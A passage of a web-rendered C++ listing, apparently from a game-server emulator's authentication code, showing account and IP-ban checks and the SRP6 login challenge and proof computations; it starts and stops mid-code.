    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x5b,&nbsp;0xbd,&nbsp;0xad,&nbsp;0x5b,&nbsp;0x8b,&nbsp;0x29,&nbsp;0x06,&nbsp;0x50,&nbsp;0x53,&nbsp;0x08,&nbsp;0x01,&nbsp;0xb1,&nbsp;0x8e,&nbsp;0xbf,&nbsp;0xbf, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x5e,&nbsp;0x8f,&nbsp;0xab,&nbsp;0x3c,&nbsp;0x82,&nbsp;0x87,&nbsp;0x2a,&nbsp;0x3e,&nbsp;0x9b,&nbsp;0xb7,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0xe1,&nbsp;0x32,&nbsp;0xa3, &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x49,&nbsp;0x76,&nbsp;0x5c,&nbsp;0x5b,&nbsp;0x35,&nbsp;0x9a,&nbsp;0x93,&nbsp;0x3c,&nbsp;0x6f,&nbsp;0x3c,&nbsp;0x63,&nbsp;0x6d,&nbsp;0xc0,&nbsp;0x00 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Send(response,&nbsp;119); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;for&nbsp;a&nbsp;possible&nbsp;IP&nbsp;ban&nbsp;on&nbsp;this&nbsp;client. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BAN_STATUS&nbsp;ipb&nbsp;=&nbsp;IPBanner::getSingleton().CalculateBanStatus(GetRemoteAddress()); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">switch</span><span>(ipb) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">case</span><span>&nbsp;BAN_STATUS_PERMANENT_BAN: &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_CLOSED); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">case</span><span>&nbsp;BAN_STATUS_TIME_LEFT_ON_BAN: &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_FREEZED); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">default</span><span>: &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Null-terminate&nbsp;the&nbsp;account&nbsp;string </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_challenge.I_len&nbsp;&gt;=&nbsp;0x50)&nbsp;{&nbsp;Disconnect();&nbsp;</span><span class="keyword">return</span><span>;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;m_challenge.I[m_challenge.I_len]&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Clear&nbsp;the&nbsp;shitty&nbsp;hash&nbsp;(for&nbsp;server) </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;AccountName&nbsp;=&nbsp;(</span><span class="datatypes">char</span><span>*)&amp;m_challenge.I; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;string::size_type&nbsp;i&nbsp;=&nbsp;AccountName.rfind(</span><span class="string">&quot;#&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(&nbsp;i&nbsp;!=&nbsp;string::npos&nbsp;) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span class="string">&quot;#&nbsp;ACCOUNTNAME!\n&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//AccountName.erase(&nbsp;i&nbsp;); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Look&nbsp;up&nbsp;the&nbsp;account&nbsp;information </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;Account&nbsp;Name:&nbsp;\&quot;%s\&quot;&quot;</span><span>,&nbsp;AccountName.c_str()); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;m_account&nbsp;=&nbsp;AccountMgr::getSingleton().GetAccount(AccountName); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_account&nbsp;==&nbsp;0) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;Invalid&nbsp;account.&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Non-existant&nbsp;account </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_NO_ACCOUNT); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;Account&nbsp;banned&nbsp;state&nbsp;=&nbsp;%u&quot;</span><span>,&nbsp;m_account-&gt;Banned); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;that&nbsp;the&nbsp;account&nbsp;isn't&nbsp;banned. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_account-&gt;Banned&nbsp;==&nbsp;1) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_CLOSED); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">else</span><span>&nbsp;</span><span class="keyword">if</span><span>(m_account-&gt;Banned&nbsp;&gt;&nbsp;0) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_FREEZED); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;update&nbsp;cached&nbsp;locale </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!m_account-&gt;forcedLocale) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="datatypes">char</span><span>&nbsp;temp[4]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp[0]&nbsp;=&nbsp;m_challenge.country[3]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp[1]&nbsp;=&nbsp;m_challenge.country[2]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp[2]&nbsp;=&nbsp;m_challenge.country[1]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp[3]&nbsp;=&nbsp;m_challenge.country[0]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(uint32*)&amp;m_account-&gt;Locale[0]&nbsp;=&nbsp;*(uint32*)temp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;Sha1Hash&nbsp;sha; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//uint32&nbsp;tc&nbsp;=&nbsp;s.GetNumBytes(); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateData(&nbsp;s.AsByteArray(),&nbsp;32&nbsp;); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateData(&nbsp;m_account-&gt;SrpHash,&nbsp;20&nbsp;); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;x; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;x.SetBinary(&nbsp;sha.GetDigest(),&nbsp;sha.GetLength()&nbsp;); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;v&nbsp;=&nbsp;g.ModExp(x,&nbsp;N); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;b.SetRand(152); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;gmod&nbsp;=&nbsp;g.ModExp(b,&nbsp;N); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;B&nbsp;=&nbsp;((v&nbsp;*&nbsp;3)&nbsp;+&nbsp;gmod)&nbsp;%&nbsp;N; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;ASSERT(gmod.GetNumBytes()&nbsp;&lt;=&nbsp;32); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;unk; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;unk.SetRand(128); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;response[200]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint32&nbsp;c&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;CE_SUCCESS;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&amp;response[c],&nbsp;B.AsByteArray(),&nbsp;32);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;32; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;g.AsByteArray()[0];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;32;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&amp;response[c],&nbsp;N.AsByteArray(),&nbsp;32);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;32; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&amp;response[c],&nbsp;s.AsByteArray(),&nbsp;s.GetNumBytes());&nbsp;c&nbsp;+=&nbsp;s.GetNumBytes(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&amp;response[c],&nbsp;unk.AsByteArray(),&nbsp;16);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;16; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;response[c]&nbsp;=&nbsp;0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;+=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;Send(response,&nbsp;c); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleProof() &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(GetReadBuffer().GetSize()&nbsp;&lt;&nbsp;</span><span class="keyword">sizeof</span><span>(sAuthLogonProof_C)) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>&nbsp;; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;patch </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_patch&amp;&amp;!m_account) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(75,false); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Remove(75); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthLogonProof]&nbsp;Intitiating&nbsp;PatchJob&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;bytes[2]&nbsp;=&nbsp;{0x01,0x0a}; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Send(bytes,2); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PatchMgr::getSingleton().InitiatePatch(m_patch,&nbsp;</span><span class="keyword">this</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!m_account) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthLogonProof]&nbsp;Interleaving&nbsp;and&nbsp;checking&nbsp;proof...&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sAuthLogonProof_C&nbsp;lp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//Read(sizeof(sAuthLogonProof_C),&nbsp;(uint8*)&amp;lp); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Read(&amp;lp,&nbsp;</span><span class="keyword">sizeof</span><span>(sAuthLogonProof_C)); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;A; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;A.SetBinary(lp.A,&nbsp;32); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;Sha1Hash&nbsp;sha; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateBigNumbers(&amp;A,&nbsp;&amp;B,&nbsp;0); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;u; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;u.SetBinary(sha.GetDigest(),&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;S&nbsp;=&nbsp;(A&nbsp;*&nbsp;(v.ModExp(u,&nbsp;N))).ModExp(b,&nbsp;N); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;t[32]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;t1[16]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;vK[40]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(t,&nbsp;S.AsByteArray(),&nbsp;32); &nbsp;&nbsp;</span></li>
